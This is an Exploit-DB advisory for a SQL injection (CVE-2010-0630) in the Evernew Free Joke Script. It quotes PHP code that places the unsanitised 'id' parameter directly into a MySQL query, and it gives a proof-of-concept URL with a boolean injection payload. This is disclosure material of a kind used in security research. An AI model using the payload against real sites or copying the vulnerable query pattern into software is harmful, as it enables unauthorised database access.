Evernew Free Joke Script - 'viewjokes.php' SQL Injection

Author: Hamza 'MizoZ' N.
type: webapps
platform: php
port: 
date_added: 2010-01-31  
date_updated:   
verified: 1  
codes: OSVDB-62342;CVE-2010-0630  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comjokescript1.2.zip  

raw file: 11306.txt  

/*

Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
WebSite : www.evernewscripts.com

Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com

Greetz : Zuka , int_0x80 , geeksec.com ... a loot

*/

# VULN CODE ]--[ viewjokes.php :

$id=$HTTP_GET_VARS['id'];
$title=$HTTP_GET_VARS['title'];

stuffViewer($id, 'jokes');

$query="select * from jokes where id=$id";
$allresults=mysql_query($query);
$viewjokes=mysql_fetch_array($allresults);

# EXPLOIT :

http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1--